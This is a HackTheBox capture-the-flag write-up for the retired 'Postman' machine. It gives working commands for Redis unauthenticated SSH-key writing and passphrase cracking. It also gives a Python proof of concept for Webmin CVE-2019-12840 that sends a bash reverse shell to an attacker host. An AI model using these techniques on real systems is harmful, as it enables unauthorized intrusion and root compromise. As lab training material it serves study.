~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / postman.md

postman

Linux · Easy · released 2019-11-02 · retired 2020-03-14

Summary

Postman is a Linux Easy with two well-known service-abuse techniques separated by a password-cracking step: unauthenticated Redis file-write for initial access, and Webmin 1.910 Package Updates RCE (CVE-2019-12840) for root.

The kill-chain: Redis 4.0.9 on port 6379 has no authentication and is bound to all interfaces → CONFIG SET redirects the RDB dump to /var/lib/redis/.ssh/authorized_keys → SSH in as redis → an encrypted RSA key backup at /opt/id_rsa.bak belongs to user Matt → John the Ripper cracks the passphrase → su - Matt (direct SSH is blocked by DenyUsers Matt) → Matt’s system credentials work for the Webmin admin panel → CVE-2019-12840 command injection in the Package Updates module delivers a root shell.

The two signature lessons: (1) Redis exposed without authentication on a public interface is equivalent to unauthenticated file write to any path the process can access; (2) credential reuse from system to web admin panelMatt:computer2008 unlocks both su and Webmin.

Source attribution

Recon

nmap -p- --min-rate=5000 -oN nmap/allports.txt <TARGET>
nmap -sC -sV -p 22,80,6379,10000 -oN nmap/scripts.txt <TARGET>
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp    open  http     Apache httpd 2.4.29 (Ubuntu)
6379/tcp  open  redis    Redis key-value store 4.0.9
10000/tcp open  http     MiniServ 1.910 (Webmin HTTPS)

Two attack surfaces stand out: Redis with no auth banner and Webmin 1.910. The HTTP site on port 80 is a static page with no useful content.

Foothold — Redis unauthenticated SSH key write

Redis 4.0.9 is bound to 0.0.0.0 with authentication disabled. The CONFIG command is unrestricted, allowing an attacker to redirect where Redis saves its RDB dump — effectively an arbitrary file-write primitive for any path the redis OS user can write.

Step 1 — Generate a keypair:

ssh-keygen -t rsa -f /tmp/redis_key

Step 2 — Pad the public key with blank lines:

Redis RDB files prepend and append binary metadata. Without padding, that metadata bleeds into the authorized_keys entry and SSH rejects the key:

(echo -e "\n\n"; cat /tmp/redis_key.pub; echo -e "\n\n") > /tmp/spaced.txt

Step 3 — Load the key into Redis and redirect the dump:

cat /tmp/spaced.txt | redis-cli -h <TARGET> -x SET crackit

redis-cli -h <TARGET>
> CONFIG SET dir /var/lib/redis/.ssh
> CONFIG SET dbfilename authorized_keys
> SAVE
> exit

Redis writes its RDB file to /var/lib/redis/.ssh/authorized_keys. The newline padding isolates the public key from the RDB binary framing.

Step 4 — SSH as redis:

ssh -i /tmp/redis_key redis@<TARGET>
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

Note: The Metasploit redis/redis_server module (which uses MODULE LOAD to execute a shared library) fails on this box — the MODULE command has been renamed in /etc/redis/redis.conf (rename-command MODULE ""). The SSH key write is the only working path.

Lateral move — /opt/id_rsa.bak key cracking

ls -la /opt/
# -rwxr-xr-x 1 Matt Matt 1743 Aug 26  2019 id_rsa.bak

An encrypted RSA private key belonging to user Matt is world-readable. Transfer it to the attack machine:

# from redis shell
cat /opt/id_rsa.bak
# copy output and paste into id_rsa.bak on attack machine

Crack the passphrase:

python3 /usr/share/john/ssh2john.py id_rsa.bak > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

Passphrase: computer2008.

Direct SSH as Matt is blocked:

ssh -i id_rsa.bak Matt@<TARGET>
# → "Permission denied (publickey)."
# /etc/ssh/sshd_config: DenyUsers Matt

The DenyUsers Matt directive in sshd_config prevents SSH login regardless of key. Use su from the existing redis shell:

su - Matt
# Password: computer2008

user.txt is at /home/Matt/user.txt.

Privilege escalation — CVE-2019-12840 (Webmin Package Updates RCE)

Webmin 1.910 is vulnerable to authenticated RCE via its Package Updates module. An authenticated user with access to the update function can inject shell commands into the update request, which executes as root because the Webmin daemon runs as root.

Matt’s system credentials (Matt / computer2008) work for the Webmin login at https://<TARGET>:10000.

Metasploit path:

use exploit/linux/http/webmin_packageup_rce
set RHOSTS <TARGET>
set LHOST <ATTACKER>
set USERNAME Matt
set PASSWORD computer2008
set SSL true
run

Manual Python PoC:

The vulnerable endpoint is /package-updates/update.cgi. The injection uses a duplicate u parameter — the second value contains a pipe-injected command. Webmin’s CSRF protection requires a matching Referer header:

import requests, base64

s = requests.session()
s.verify = False

# Authenticate
s.post('https://<TARGET>:10000/session_login.cgi',
       data={'page': '', 'user': 'Matt', 'pass': 'computer2008'})

# Build payload
cmd = 'bash -c "bash -i >& /dev/tcp/<ATTACKER>/443 0>&1"'
b64 = base64.b64encode(cmd.encode()).decode()

# Inject
s.post('https://<TARGET>:10000/package-updates/update.cgi',
       data=[('u', 'acl/apt'),
             ('u', f'| bash -c "echo {b64}|base64 -d|bash"'),
             ('ok_top', 'Update Selected Packages')],
       headers={'Referer': 'https://<TARGET>:10000/'})
root@Postman:/usr/share/webmin/package-updates# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗